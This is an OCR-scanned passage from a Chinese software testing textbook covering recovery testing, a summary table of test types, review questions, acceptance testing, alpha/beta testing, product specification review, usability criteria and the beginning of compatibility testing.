确保 恢复 进程 将 数据 库 ,应 用 程序 和 系统 正确 地 恢复 到 预期 的 已 知 状态 。 测 试 中 将 包 
括 以 下 各 种 情况 : 

。 客户 机 断 电 ,服务 器 断 电 ; 

。 通过 网 络 服务 器 产生 的 通信 中 断 或 控制 器 被 中 断 ; 

。 断 电 或 与 控制 器 的 通信 中 断 周期 未 完成 (数据 过 滤 进 程 被 中 断 , 数 据 同步 进程 被 

中 断 ); 

。 数据 库 指针 或 关键 字 无 效 , 数 据 库 中 的 数据 元 素 无 效 或 遭 到 破坏 。 

3. 测试 范围 

应 该 使 用 为 功能 和 业务 周期 测试 创建 的 测试 来 创建 一 系列 的 事务 。 一 旦 达到 预期 的 测 
试 起 点 ,就 应 该 分 别 执行 或 模拟 以 下 操作 : 

。 往 软盘 保存 时 ,不 插入 软盘 ,或 将 软盘 加 写 保护 ; 

。 不 接 打 印 机 ,但 进行 打印 操作 ; 

。 客户 机 断 电 和 服务 器 断 电 ; 

。 网 络 通信 中 断 ,如 可 以 断 开通 信 线 路 的 连接 或 关闭 网 络 服务 器 或 路 由 器 的 电源 ; 

。 控制 器 被 中 断 、 断 电 或 与 控制 器 的 通信 中 断 ,如 模拟 与 一 个 或 多 个 控制 器 或 设备 的 

通信 ,或 实际 取消 这 种 通信 。 

一 旦 实现 了 上 述 情况 (或 模拟 情况 ) ,就 应 该 执行 其 他 事务 。 而 且 一 旦 达到 第 二 个 测试 

点 状态 ,就 应 调用 恢复 过 程 。 在 测试 不 完整 的 周期 时 ,所 使 用 的 技术 与 上 述 技术 相同 ,只 不 


过 应 该 异常 终止 或 提前 终止 数据 库 进程 本 身 。 对 以 下 情况 的 测试 需要 达到 一 个 已 知 的 数据 
库 状 态 。 当 破坏 若干 个 数据 库 字段 .指针 和 关键 字 时 ,应 该 以 手工 方式 在 数据 库 中 (通过 数 
据 库 工具 ) 直接 进行 。 其 他 事务 应 该 通过 使 用 “应 用 程序 功能 测试 "和 “业务 周期 测试 "中 的 
测试 来 执行 ,并 且 应 执行 完整 的 周期 。 

4. 完成 标准 

在 所 有 上 述 情况 中 ,应 用 程序 数据库 和 系统 应 该 在 恢复 过 程 完 成 时 立即 返回 到 一 个 已 
知 的 预期 状态 。 此 状态 包括 仅 限于 已 知 损坏 的 字段 .指针 或 关键 字 范 围 内 的 数据 损坏 ,以 及 
表明 进程 或 事务 因 中 断 而 未 被 完成 的 报表 。 

5. 需 考虑 的 特殊 事项 

恢复 测试 会 给 其 他 操作 带 来 许多 的 麻烦 。 断 开 缆 线 连接 的 方法 (模拟 断 电 或 通信 中 断 ) 
可 能 并 不 可 取 或 不 可 行 。 所 以 ,可 能 会 需要 采用 其 他 方法 ,例如 诊断 性 软件 工具 。 恢 复 测试 
对 其 他 类 型 的 测试 影响 很 大 ,一 般 需 要 使 用 相对 独立 的 系统 .数据 库 和 网 络 组 中 的 资源 ,应 
该 在 工作 时 间 之 外 或 在 一 台独 立 的 环境 上 进行 。 


小 结 


本 章 首 先 从 系统 集成 不 同 模式 的 比较 以 及 自 底 向 上 、 自 项 向 下 、 混 合 各 自 的 优 缺 点 比较 
说 明 集 成 测试 的 必要 性 ,以 及 持续 集成 的 好 处 。 在 系统 集成 测试 中 ,重点 是 针对 模块 之 间 的 
接口 进行 大 量 的 测试 。 

功能 测试 是 基本 的 ,因为 首先 要 保证 系统 的 每 个 功能 可 以 正常 工作 ,然后 才能 进行 非 功 
能 性 的 测试 ,如 性 能 测试 。 而 回归 测试 是 不 可 避免 的 ,只 要 有 需求 .设计 或 代码 的 变动 就 要 
进行 ,例如 一 旦 发 现 了 严重 缺陷 ,开发 人 员 就 要 修改 ,然后 测试 人 员 不 仅 要 验证 缺陷 ,还 有 进 
行 回归 测试 。 由 于 资源 和 时 间 限 制 , 不 可 能 进行 大 规模 的 回归 测试 ,这 时 候 ,选择 正确 的 回 
归 测 试 策略 是 重要 的 。 

在 系统 的 非 功 能 性 测试 中 ,要 深刻 理解 系统 的 架构 设计 ,认真 准备 测试 环境 ,确保 测试 
环境 非常 接近 实际 的 产品 运行 环境 。 针 对 不 同 的 需求 ,在 系统 的 非 功 能 性 测试 中 有 所 侧 
重 。 压 力 测试 ,容量 测试 和 性 能 测试 的 手段 和 方法 很 相似 ,有 时 可 以 交织 在 一 起 进行 测 
试 。 压 力 测试 的 重点 在 于 发 现 功 能 性 测试 所 不 易 发 现 的 系统 方面 的 缺陷 。 容 量 测试 和 
性 能 测试 更 着 力 于 提供 性 能 指标 与 容量 方面 的 数据 ,以 供 软 件 开发 商 参 考 , 改 进 系统 性 
能 ,或 进行 市 场 宣传 。 对 系统 测试 ,包括 功能 性 测试 和 非 功能 性 测试 可 以 用 表 6-3 作 一 个 
简单 的 总 结 。 


表 6-3 从 质量 的 3 个 维度 看 系统 测试 


质量 维度 测试 类 型 


完整 性 测试 : 侧重 于 评估 测试 对 象 的 强壮 性 (防止 失败 的 能 力 ) ,语言 .语法 的 技术 兼容 性 

以 及 资源 利用 率 的 测试 。 该 测试 针对 不 同 的 测试 对 象 实施 和 执行 ,包括 单元 和 已 集成 
可 靠 性 | 单元 。 

结构 测试 : 侧重 于 评估 测试 目标 是 否 符合 其 设计 和 构造 的 测试 。 通 常 对 基于 Web 的 应 用 

程序 执行 该 测试 ,以 确保 所 有 链接 都 已 连接 .显示 正确 的 内 容 以 及 没有 孤立 的 内 容 。 
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测 试 类 型 


配置 测试 : 侧重 于 确保 测试 对 象 在 不 同 的 硬件 和 /或 软件 配置 上 按 预期 运行 的 测试 。 该 测 
试 还 可 以 作为 系统 性 能 测试 来 实施 。 

功能 测试 : 侧重 于 核实 测试 对 象 按 计划 运行 ,提供 需求 的 服务 、 方 法 或 用 例 的 测试 。 该 测 
试 针对 不 同 的 测试 对 象 实施 和 执行 ,包括 单元 \ 已 集成 单元 、 应 用 程序 和 系统 。 

安装 测试 : 侧重 于 确保 测试 对 象 在 不 同 的 硬件 和 /或 软件 配置 上 ,以 及 在 不 同 的 条 件 下 ( 磁 
盘 空 间 不 足 或 电源 中 断 ) 按 预期 安装 的 测试 。 该 测试 针对 不 同 的 应 用 程序 和 系统 实施 和 
执行 。 

安全 测试 : 侧重 于 确保 只 有 预期 的 主角 才 可 以 访问 测试 对 象 . 数 据 ( 或 系统 ) 的 测试 。 该 测 
试 针对 多 种 测试 对 象 实施 和 执行 。 

容量 测试 : 侧重 于 核实 测试 对 象 对 于 大 量 数据 (输入 和 输出 或 驻 留 在 数据 库 内 ) 的 处 理 能 
力 的 测试 。 容 量 测试 包括 多 种 测试 策略 ,如 创建 返回 整个 数据 库 内 容 的 查询 ; 或 者 对 查询 
设置 很 多 限制 ,以 至 不 返回 数据 ; 或 者 返回 每 个 字段 中 最 大 数据 量 的 数据 条 日 。 

基准 测试 : 一 种 性 能 测试 ,该 测试 将 比较 (新 的 或 未 知 的 ?测试 对 象 与 已 知 的 参照 负载 和 系 
统 的 性 能 。 

竞争 测试 : 侧重 于 核实 测试 对 象 对 于 多 个 主角 对 相同 资源 (数据 记录 、 内 存 等 ) 的 请 求 的 处 
理 是 否 可 以 接受 的 测试 。 

负载 测试 : 一 种 性 能 测试 ,用 于 在 测试 的 系统 保持 不 变 的 情况 下 ,核实 和 评估 系统 在 不 同 
性 能 负载 下 操作 极限 的 可 接受 性 。 评 测 包括 负载 和 响应 时 间 的 特征 。 如 果 系 统 结合 了 分 布 式 
构架 或 负载 平衡 方法 ,将 执行 特殊 的 测试 以 确保 分 布 和 负载 平衡 方法 能 够 正常 工作 。 
性 能 曲线 : 在 该 测试 中 ,将 监测 测试 对 象 的 计时 配置 文件 ,包括 执行 流 、 数 据 访问 、 函 数 和 
系统 调用 ,以 确定 并 解决 性 能 瓶颈 和 低 效 流 程 。 

强度 测试 : 一 种 性 能 测试 ,侧重 于 确保 系统 可 在 过 到 异常 条 件 时 按 预 期 运行 。 系 统 面 对 的 
工作 强度 可 以 包括 过 大 的 工作 量 ,不 充足 的 内 存 , 不 可 用 的 服务 、 硬 件 或 过 低 的 共享 资源 。 
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1. 系统 集成 测试 常见 有 哪 几 种 不 同 模式 ? 各 自 优 缺 点 是 什么 ? 

2. 什么 是 桩 模块 ? 什么 是 驱动 模块 ? 在 采用 哪 种 集成 方法 时 能 用 到 它们 ? 
3. 从 你 自己 的 角度 出 发 ,你 认为 在 进行 集成 测试 时 着 重 需 要 注意 什么 ? 
4 
5. 


. 黑 盒 测试 常用 哪 几 种 方法 ? 各 自 是 从 什么 角度 出 发 来 进行 测试 的 ? 
某 一 C 语 言 版 本 中 规定 :“ 标 识 符 是 以 字母 或 下 划 线 开头 ,后 跟 字母 ,数字 或 下 划 线 
的 任意 组 合 构成 有 效 字符 为 16 个 ; 且 标 识 符 不 能 是 保留 字 。” 试 用 等 价 分 类 法 设计 测试 
用 例 。 
6. 集成 测试 ,单元 测试 与 系统 测试 的 联系 与 区 别 是 什么 ? 
7. 如 果 有 一 个 网 站 给 你 进行 测试 ,利用 现在 所 学 的 知识 你 认为 可 以 用 到 哪些 测试 方 
法 ? 因为 是 针对 网 站 测试 使 用 每 种 测试 方法 应 该 注意 哪些 问题 ? 
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验收 测试 


验收 测试 Cacceptance test) 是 在 软件 产品 完成 了 功能 测试 和 系统 
测试 之 后 .产品 发 布 之 前 所 进行 的 软件 测试 活动 , 它 是 技术 测试 的 最 
后 一 个 阶段 ,也 称 为 交付 测试 。 通 过 了 验收 测试 产品 就 会 进入 发 布 阶 
段 。 验 收 测试 一 般 根据 产品 规格 说 明 书 ,严格 检查 产品 , 逐 行 逐 字 地 
对 照 说 明 书 上 对 软件 产品 所 做 出 的 各 方面 要 求 ,确保 所 开发 的 软件 产 
品 符合 用 户 预 期 的 各 项 要 求 , 即 验收 测试 是 检验 产品 和 产品 规格 说 明 
书 (包括 软件 开发 的 技术 合同 ) 的 一 致 性 。 同 时 ,验收 测试 ,可 以 称 现 
场 测试 ,一般 在 实际 的 运行 环境 或 用 户 的 使 用 环境 下 进行 ,而 且 用 户 
也 参与 到 验收 测试 过 程 中 。 有 时 ,人 们 将 系统 测试 作为 测试 的 最 后 一 
个 阶段 ,验收 测试 包含 在 系统 测试 中 ,这 种 归纳 相对 来 说 比较 笼统 。 
为 了 区 分 功能 测试 ,人 们 习惯 将 系统 测试 定义 为 非 功能 性 测试 ,包括 
性 能 测试 .安全 性 测试 .兼容 性 测试 等 ,而 这 些 测试 一 般 不 会 让 用 户 参 
加 。 通 过 验收 测试 ,也 就 是 通过 了 用 户 的 验收 ,说 明 软 件 产品 的 质量 
达到 了 客户 的 要 求 ,测试 项 目 才 算 告 一 段落 。 


7.1 验收 测试 过 程 


如 前 所 述 ,验收 测试 是 在 功能 测试 和 系统 测试 之 后 进行 的 ,所 以 
验收 测试 的 前 提 条 件 是 系统 或 软件 产品 已 通过 了 内 部 测试 , 即 从 软件 
开发 组 织 来 看 ,所 有 要 做 的 测试 都 已 完成 ,所 发 现 的 严重 缺陷 都 已 修 
正 。 然 后 ,和 用 户 一 起 来 验收 软件 系统 ,在 真实 的 环境 下 运行 软件 系 
统 , 看 看 是 否 存在 和 用 户 的 要 求 不 一 致 的 问题 ,或 违背 产品 规格 书 的 
要 求 。 另 外 ,测试 人 员 不 可 能 完全 预见 用 户 实际 使 用 程序 的 情况 ,也 
就 不 可 能 发 现 所 有 的 错误 。 例 如 ,用 户 可 能 错误 地 理解 命令 ,提供 一 
些 奇怪 的 数据 组 合 或 可 能 对 输出 信息 迷惑 不 解 等 。 因 此 ,软件 是 否 真 
正 满足 最 终 用 户 的 要 求 , 应 由 用 户 进行 一 系列 “验收 测试 ”。 

验收 测试 既 可 以 是 非 正式 的 测试 ,也 可 以 是 有 计划 .有 系统 的 测 
试 。 验 收 测试 是 验证 系统 是 否 达到 了 用 户 需求 规格 说 明 书 (可 能 包括 
项 目 或 产品 验收 准则 ) 中 的 要 求 ,试图 尽 可 能 地 发 现 软件 中 存留 的 缺 


陷 , 从 而 为 软件 进一步 改善 提供 帮助 ,并 保证 系统 或 软件 产品 最 终 被 用 户 接受 。 验 收 测试 主 
要 包括 易 用 性 测试 .兼容 性 测试 .安装 测试 .文档 (如 用 户 手册 ,操作 手册 等 ) 测 试 等 几 个 方面 
的 内 容 。 

1. 测试 步骤 

(1) 在 需求 分 析 阶 段 建立 测试 计划 ,了 解 软 件 功能 和 性 能 要 求 . 软 硬件 环境 要 求 等 ,并 
特别 要 了 解 软 件 的 质量 要 求 和 具体 的 验收 要 求 。 根 据 软件 需求 和 验收 要 求 编制 验收 测试 计 
划 ,制定 需 测 试 的 测试 项 ,制定 测试 策略 及 验收 通过 准则 ,并 让 客户 参与 计划 评审 ,直至 

(2) 建立 测试 环境 ,根据 验收 测试 计划 、 项 目 或 产品 验收 准则 完成 测试 用 例 的 设计 ,并 
经 过 评审 。 

G) 准备 测试 数据 ,执行 测试 用 例 ,记录 测试 结果 。 

(4) 分 析 测 试 结果 ,根据 验收 通过 准则 分 析 测 试 结果 ,做 出 验收 是 否 通 过 及 测试 评价 。 
验收 结果 通常 会 有 4 种 情况 
测试 项 目 通 过 验收 ; 
测试 项 目 没有 通过 验收 ,但 问题 不 大 ,双方 沟通 可 以 达成 一 个 补充 协议 ,在 维护 后 期 
或 下 一 个 版 本 改进 ; 
测试 项 目 没 有 通过 验收 ,并 且 不 存在 变通 方法 ,需要 很 大 的 修改 ; 
测试 项 目 无 法 评估 或 者 无 法 给 出 完整 的 评估 结果 ,此 时 必须 找到 其 深层 次 的 原因 。 
如 果 是 该 测试 项 目 没 有 说 明 清楚 ,应 该 修改 验收 测试 计划 。 

(5) 提交 测试 报告 。 根 据 产 品 设计 说 明 书 ,详细 设计 说 明 书 、 验 收 测试 结果 和 发 现 的 错 
误 信息 ,评价 系统 的 设计 与 实现 ,最 终 通 过 验收 测试 报告 给 予 完整 的 ,详细 的 描述 。 

2. 通过 标准 

(1) 完全 执行 了 验收 测试 计划 中 的 每 个 测试 用 例 。 

(2) 在 验收 测试 中 发 现 的 错误 已 经 得 到 修改 并 且 通 过 了 测试 或 者 经 过 评估 留 到 下 一 版 
本 中 修改 。 

(3) 完成 软件 验收 测试 报告 。 

3. 注意 事项 

(1) 必须 编写 正式 的 .单独 的 验收 测试 计划 。 该 计划 中 必须 有 明确 的 验收 标准 。 通 过 
验收 测试 的 产品 并 不 表示 它 不 存在 缺陷 。 有 时 为 了 争夺 市 场 , 允 许 非 严重 性 的 缺陷 存在 ,但 
是 ,不 能 根据 测试 结果 再 来 修改 验收 标准 。 

(2) 验收 测试 必须 在 实际 运行 环境 中 或 尽 可 能 模拟 实际 的 环境 中 进行 。 测 试 环境 与 实 
际 运行 环境 的 差异 可 能 会 遗漏 少数 的 严重 缺陷 ,这样 会 严重 影响 用 户 的 满意 度 。 例 如 ,一 个 
数据 库 查询 系统 ,在 拥有 少量 数据 时 工作 正常 ,而 在 实际 环境 中 ,可 能 拥有 海量 的 数据 ,仅仅 
简单 的 查询 操作 就 可 能 耗费 大 量 系 统 资源 ,丧失 可 用 人 性 。 

(3) 验收 测试 一 般 需 要 由 用 户 和 测试 部 门 共 同 完成 ,如 果 不 是 用 户 委 托 的 项 目 , 而 是 软 
件 公司 自行 研发 的 产品 ,就 不 会 有 用 户 参与 测试 ,而 是 让 产品 设计 部 门 ,市场 部 门 .技术 支持 
等 参与 测试 ,或 者 让 公司 所 有 员工 参与 产品 的 试用 。 


a 测试 和 B 测试 

a 测试 是 指 软件 开发 公司 组 织 内 部 人 员 模 拟 各 类 用 户 对 即将 面市 的 软件 产品 ( 称 为 
a 版本) 进行 测试 ,试图 发 现 错误 并 修正 。a 测试 的 关键 在 于 尽 可 能 逼真 地 模拟 实际 运行 
环境 和 用 户 对 软件 产品 的 操作 并 尽 最 大 努力 涵盖 所 有 可 能 的 用 户 操作 方式 。 经 过 a 济 
试 调整 的 软件 产品 称 为 B 版 本 。 紧 随 其 后 的 B 测试 是 指 软件 开发 公司 组 织 各 方面 的 典 
型 用 户 在 日 常 工 作 中 实际 使 用 B 版 本 ,并 要 求 用 户 报告 异常 情况 、 提 出 批评 意见 。 然 后 
软件 开发 公司 再 对 有 版 本 进行 改 错 和 完善。 


7.2 产品 规格 说 明 书 的 验证 


产品 规格 说 明 书 ,也 称 功 能 规格 说 明 书 (Functional Specifiction) ,是 基于 需求 的 定义 ， 
详细 描述 将 要 开发 出 一 个 什么 样 的 产品 ,包括 产品 的 用 途 、 有 哪些 功能 ,用 户 界 面 的 表现 形 
式 及 其 交互 特性 等 。 它 通常 会 遵守 公司 内 部 约定 的 模板 或 其 他 要 求 ,采用 Word, PDF, 
Visio 或 HTML 等 文档 格式 ,包括 文字 、 表 格 、 图 形 甚至 动画 等 内 容 。 


7.2.1 产品 规格 说 明 书 的 评审 


产品 规格 说 明 书 是 测试 的 标准 ,如 果 没 有 它 , 谁 都 不 清楚 产品 应 该 是 什么 样 ,最 终 会 是 
什么 样 ,会 让 测试 工作 无 从 着 手 , 陷 入 无 尽 的 困难 之 中 。 产 品 说 明 书 的 特性 决定 了 对 其 复审 
(review) 的 重要 性 。 经 验 显 示 , 充 分 的 复审 能 排除 约 60% 的 错误 ,在 产品 设计 阶段 ,发 现 需 
求 和 设计 上 大 部 分 的 缺陷 ,避免 返工 ,可 为 项 目 节 省 大 量 的 成 本 。 

产品 规格 说 明 书 的 复审 不 是 验收 测试 阶段 的 主要 任务 , 它 应 该 在 整个 产品 生命 周期 的 
初期 , 即 在 产品 规格 说 明 书 初稿 完成 后 就 开始 评审 ,而 应 该 在 编程 之 前 完成 评审 。 软 件 评 审 
方法 是 互 为 复审 或 称 同行 评审 (Peer-to-Peer Review) 、 走 查 (Walkthrough) 和 正式 会 议 审查 
(Inspection) 。 产 品 规格 说 明 书 的 评审 , 先 可 以 采用 邮件 分 发 审查 方法 ,通过 邮件 将 产品 规 
格 说 明 书 分 发 下 去 ,收集 大 家 的 反馈 意见 ,进行 讨论 和 修改 。 在 后 期 ,可 以 集中 采用 会 议 评 
审 的 方式 , 尽 可 能 发 现 潜在 的 问题 ,阐释 各 种 疑问 ,力求 大 家 达成 一 致意 见 。 

会 议 审 查 是 一 种 系统 化 .严密 的 集体 评审 方法 ,其 过 程 一般 包 含 了 制定 计划 、 准 备 和 组 
AAW .跟踪 和 分 析 结果 等 。 在 会 议 评审 过 程 中 涉及 多 个 角色 ,如 评审 组 长 .作者 .评审 人 
员 、 列 席 人 员 和 会 议 记 录 人 员 等 。 在 评审 过 程 中 ,应 注意 以 下 几 点 : 

。 从 客户 的 角度 和 立场 进行 审核 工作 。 

。 检验 套 用 标准 的 正确 性 ,不 要 和 行业 规范 相抵 触 。 

。 审查 ,研究 同类 产品 。 

。 验证 产品 规格 说 明 书 的 完整 性 ,准确 性 ,一 致 性 、 合 理性 等 特性 。 


7.2.2 产品 规格 说 明 书 的 验证 


产品 规格 说 明 书 的 验证 大 部 分 属 功 能 性 测试 的 范畴 。 早 在 集成 测试 完成 后 、 系 统 测试 
开始 前 ,就 开始 对 软件 系统 进行 功能 性 测试 。 但 早期 的 功能 性 测试 由 在 验证 产品 说 明 书 定 
义 的 功能 实现 以 保证 后 续 测试 的 进行 ,并 尽早 地 发 现 问 题 。 


在 验收 测试 阶段 ,产品 规格 说 明 书 的 验证 将 更 加 严格 、 彻 底 地 进行 。 大 多 数 情况 下 , 测 
试 人 员 并 不 能 得 到 完美 的 产品 规格 说 明 书 ,尽管 它 已 经 通过 了 审核 ,由 于 评审 不 够 充分 、 需 
求 的 变更 .设计 修改 等 影响 ,都 会 导致 产品 规格 说 明 书 不 得 不 作 相应 更 改 。 所 以 测试 人 员 不 
仅 要 根据 产品 说 明 书 的 每 一 个 特性 导出 测试 用 例 ,而且 针对 上 述 的 变动 ,及 时 更 新 测试 用 
例 ,确保 产品 规格 说 明 书 和 测试 用 例 保 持 一 致 。 

测试 人 员 应 根据 产品 说 明 书 , 逐 字 逐 句 地 验证 产品 的 每 一 项 特性 ,并 在 验证 结束 时 提交 
基于 产品 规格 说 明 书 的 验证 报告 。 该 报告 可 以 是 正式 的 ,也 可 以 是 非 正式 的 ,其 目的 在 于 能 
够 在 验收 测试 初期 进行 评判 软件 特性 是 否 都 已 实现 .是否 可 以 进行 全 面 的 验收 测试 。 验 证 
报告 的 内 容 应 包括 所 有 特性 的 清单 : 

。 已 经 实现 的 特性 标识 为 通过 。 

e 特性 没有 实现 的 ,报告 缺陷 并 在 报告 中 体现 。 

。 特 性 基本 实现 ,但 与 产品 说 明 书 中 内 容 不 相 一 致 。 报 告 缺陷 并 在 报告 中 体现 。 

。 特 性 基本 实现 ,但 存在 一 些 问 题 或 错误 。 


7.3 用 户 界 面 和 可 用 性 测试 


用 于 软件 程序 交互 的 方式 称 为 用 户 界 面 (User Interface,UI) 。 与 早期 的 软件 相 比 , 现 
在 使 用 的 个 人 计算 机 都 有 复杂 的 图 形 用 户 界面 (GUI) 。 虽 然 UI 各 不 相同 ,但 其 本 质 是 相 
同 的 ,提供 用 户 与 计算 机 之 间 交 互 和 交流 的 桥梁 。 

许多 产品 都 应 用 人 体 工程 学 的 研究 成 果 , 使 产品 更 具 人 性 化 ,使 用 时 更 加 灵活 、 舒 适 。 
软件 产品 也 是 一 样 ,应 以 软件 的 最 终 使 用 者 一 一 客户 为 出 发 点 。 好 的 用 户 界面 包括 7 个 要 
R: 符合 标准 和 规范 .直观 性 .一 致 性 .灵活 性 .舒适 性 .正确 性 .实用 人 性。 

1. 符合 标准 和 规范 

在 现 有 的 平台 上 软件 都 遵守 一 定 的 标准 和 规范 , Windows ,Mac OS 等 操作 系统 都 有 自 
己 的 界面 标准 ,这 些 标准 都 是 经 过 多 年 实践 的 积累 而 形成 的 ,已 经 得 到 用 户 的 接受 ,例如 , 软 
件 应 该 有 什么 样 的 外 观 , 何 时 使 用 复 选 框 , 何 时 使 用 单 选 按钮 , 何 时 使 用 提示 信息 ,警告 信息 
或 者 严重 警告 信息 ( 见 图 7-1) 等 ,形成 大 家 认可 的 惯例 。 


Software Testing Sample Message EN || Software Testing Sample Message) EN || Software Testing Sample Message W.| 


图 7-1 Windows 的 3 种 信息 使 用 的 方式 


由 于 多 数 用 户 已 经 熟悉 并 接受 了 这 些 标准 和 规范 ,或 已 经 认同 了 这 些 信 息 所 代表 的 意 
义 。 这 时 ,如 果 用 “提示 信息 ”代替 “严重 警告 ”, 很 难 引 起 用 户 的 重视 ,他 可 能 随手 关闭 ,造成 
严重 后 果 ,而 用 户 自己 可 能 还 不 知道 ,自然 得 不 到 用 户 的 认同 。 测 试 人 员 就 应 该 将 此 类 问题 
报告 为 缺陷 。 如 果 软 件 在 某 一 个 平台 上 运行, 如同 产品 规格 说 明 书 一 样 ,该 平台 的 标准 和 规 
范 也 应 作为 测试 的 依据 。 如 果 正 在 测试 的 软件 本 身 就 是 一 个 软件 平台 ,那么 软件 设计 者 就 


应 创立 一 套 标准 ,贯穿 于 整个 软件 的 设计 开发 过 程 ,保持 软件 与 行业 标准 、 规 范 或 约定 相 
—K. 

2. 直观 性 

考虑 用 户 界面 的 直观 性 ,首先 确定 功能 操作 界面 ,提示 或 期 待 的 结果 是 否 直 观 、 显 著 ,并 
是 否 在 预期 的 地 方 或 时 间 出 现 。 例 如 ,执行 结果 已 经 显示 出 来 ,但 因 其 不 明显 ,客户 使 用 时 
还 在 焦急 地 等 待 结果 的 出 现 。 青 比如 ,软件 中 某 个 图 标 用 了 软件 编程 中 常用 的 术语 缩写 , 开 
发 人 员 和 测试 人 员 往 往 因 为 熟悉 而 忽略 ,而 用 户 就 很 难 理解 其 含义 ,只 能 猜测 。 其 次 ,考虑 
用 户 界面 的 组 织 和 布局 是 否 合理 ,界面 是 否 洁净 ,不 拥挤 ,以 及 是 否 有 多 余 的 功能 .是 否 太 复 
杂 难 以 掌握 等 。 有 一 个 设计 展示 网 站 (www. jaspermorrison. com) ,如 图 7-2 所 示 , 其 主 界 
面 非常 直观 ,各 类 设计 的 链接 都 是 通过 直观 的 图 形 描述 ,而 且 整 个 页 面 没有 任何 多 余 的 
内 容 。 
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图 7-2 直观 页 面 的 示例 


3. 一 致 性 

包括 软件 本 身 的 一 致 性 ,以 及 与 公司 其 他 软件 .第 三 方 软件 的 一 致 性 。 字 体 是 否 一 致 、 
界面 的 各 元 素 风 格 是 否 一 致 是 比较 容易 判定 的 。 另 外 一 致 性 的 问题 通常 还 体现 在 平台 的 标 
准 和 规范 上 ,用 户 习 惯 于 将 某 一 程序 的 操作 方式 带 到 另 一 个 程序 中 使 用 。 例 如 ,在 
Windows 平台 客户 已 经 习惯 用 Ctrl 十 C 键 表示 复制 操作 ,而 在 软件 中 将 复制 操作 的 快捷 键 
定义 为 其 他 键 必 定 会 给 用 户 造成 挫败 感 ,难以 接受 。 如 果 在 同一 软件 中 不 同 的 地 方 做 了 不 
同 的 定义 , 那 是 一 件 更 糟糕 的 事情 。 

4. 灵活 性 

用 户 喜 欢 可 以 灵活 选择 的 软件 ,软件 可 以 选择 不 同 的 状态 和 方式 ,完成 相应 的 功能 。 但 
灵活 性 也 可 能 发 展 为 复杂 性 , 太 多 的 状态 和 方式 的 选择 增加 的 不 仅仅 是 用 户 理解 和 掌握 的 
困难 程度 。 多 种 状态 之 间 的 转换 ,增加 了 编程 的 难度 ,更 增加 了 软件 测试 人 员 的 工作 量 。 
图 7-3 给 出 了 Windows 计算 器 程序 的 两 种 方式 : 标准 型 和 科学 型 ,充分 体现 了 灵活 性 。 
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图 7-3 Windows 计算 器 程序 的 灵活 性 


5. 舒适 性 
人 们 对 每 适 的 理解 各 不 相同 ,总 体 上 说 恰当 的 表现 、 合 理 的 安排 .必要 的 提示 或 更 正 能 
力 等 是 要 考虑 的 因素 。 图 7-4 中 所 示 的 状态 信息 让 用 户 清 楚 目前 的 工作 状态 ,就 是 一 个 很 
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色彩 、 狂 放 的 风格 。Windows 的 UNDO/ 
REDO 特性 让 用 户 觉得 方便 ,左手 鼠标 的 设置 
给 惯用 左手 的 人 带 来 便利 ,也 能 为 右手 十 分 劳 
累 时 提供 另 一 种 途径 。 

6. 正确 性 

正确 性 的 问题 一 般 都 很 明显 ,比较 容易 发 现 。 通 常 ,人 们 得 注意 是 否 有 多 余 或 遗漏 的 功 
能 、 功 能 是 否 被 正确 地 实现 .语言 拼写 是 否 无 误 、 在 不 同 媒介 上 的 表现 是 否 一 致 .所 有 界面 元 
素 的 状态 是 否 都 准确 无 误 等 。 例 如 ,根据 用 户 的 权限 系统 能 否 自动 屏蔽 某 些 功能 、 将 密码 输 
入内 容 是 否 显示 为 ** ”号 等 。 

7. 实用 性 

指 软件 产品 的 各 个 功能 是 否 实 用 。 在 需求 和 产品 规格 说 明 书 的 评审 、 实 际 测试 等 

过 程 中 都 应 考虑 各 个 具体 特性 是 否 必要 的 .是否 真正 对 用 户 具 有 实际 价值 。 如 果 认 为 没有 
必要 ,就 要 研究 或 与 产品 设计 人 员 讨 论 其 存在 的 原因 。 无 用 的 功能 只 会 增加 程序 的 复杂 度 ， 
产生 不 必要 的 软件 缺陷 。 

在 大 型 软件 的 长 期 开发 中 ,或 经 过 多 个 版 本 的 演化 过 程 中 容易 产生 一 些 没 有 实用 价值 
的 功能 ,可 能 导致 某 个 功能 没有 用 了 ,或 者 原先 设计 界面 上 的 图 标 或 按钮 没有 存在 的 价值 ， 
也 可 能 导致 产生 一 些 无 用 的 数据 等 。 

总 而 言 之 ,软件 的 易 用 性 没有 一 个 具体 量化 的 指标 ,主观 性 较 强 。 当 前 面 的 7 个 要 素 处 
理 好 了 , 易 用 的 属性 自然 就 好 了 。 界 面 清 晰 美观 .各 元 素 布置 合理 符合 常用 软件 的 标准 和 
规范 、 用 户 能 够 在 不 需要 其 他 帮助 的 情况 下 完成 各 项 主要 功能 ,就 可 以 认为 软件 达到 了 易 用 


图 7-4 复制 文件 的 状态 


性 的 要 求 。 
7.4 兼容 性 测试 


兼容 性 测试 包括 了 软件 兼容 性 数据 共享 兼容 性 、 硬 件 兼容 性 三 个 方面 。 假 设 新 开发 一 
个 图 形 处 理 软件 , 自 定义 了 一 种 特殊 的 图 形 存储 格式 以 适应 特殊 的 应 用 ,那么 该 软件 是 否 能 
在 操作 系统 的 不 同 版 本 上 正常 工作 ? 是 否 可 以 将 图 片 存储 为 . bmp、. gif、. jpg 等 其 他 图 像 
文件 格式 ? 是 否 符合 相应 的 文件 标准 ?是 否 可 以 读 取 这 些 格式 的 文件 将 其 转换 成 自 定义 的 
格式 文件 ? 是 否 支 持 市 场 上 流行 的 显卡 ? 这 些 都 是 兼容 性 问题 ,都 需要 进行 检验 。 如 果 存 
在 兼容 性 问题 ,就 会 影响 软件 的 使 用 范围 ,用 户 的 操作 将 会 受到 很 大 的 局 限 。 


7.4.1 软件 兼容 性 测试 


软件 兼容 性 测试 是 指 验 证 软件 之 间 是 否 能 够 正确 地 交互 和 共享 信息 ,包括 同步 共享 . 异 
步 共享 ,还 包括 本 地 交互 .远程 通信 交互 。 在 接受 兼容 性 测试 任务 时 ,应 仔细 了 解 产品 说 明 
书 中 的 有 关内 容 , 并 和 相关 人 员 进 行 沟通 ,可 以 询问 一 些 重 要 的 问题 ,例如 : 

。 软件 设计 要 求 与 何 种 平台 (如 操作 系统 、Web 浏览 器 或 者 其 他 操作 环境 ) 和 应 用 软件 

保持 兼容 ? 

。 如 果 被 测试 的 应 用 软件 (Application Under Test,AUT) 本 身 就 是 一 个 平台 ,那么 设 

计 要 求 哪些 应 用 程序 可 以 在 其 上 运行 ? 

。 应 该 遵守 何 种 软件 之 间 的 标准 和 规范 ? 

。 软件 使 用 何 种 数据 与 其 他 平台 进行 交互 ,共享 信息 ? 

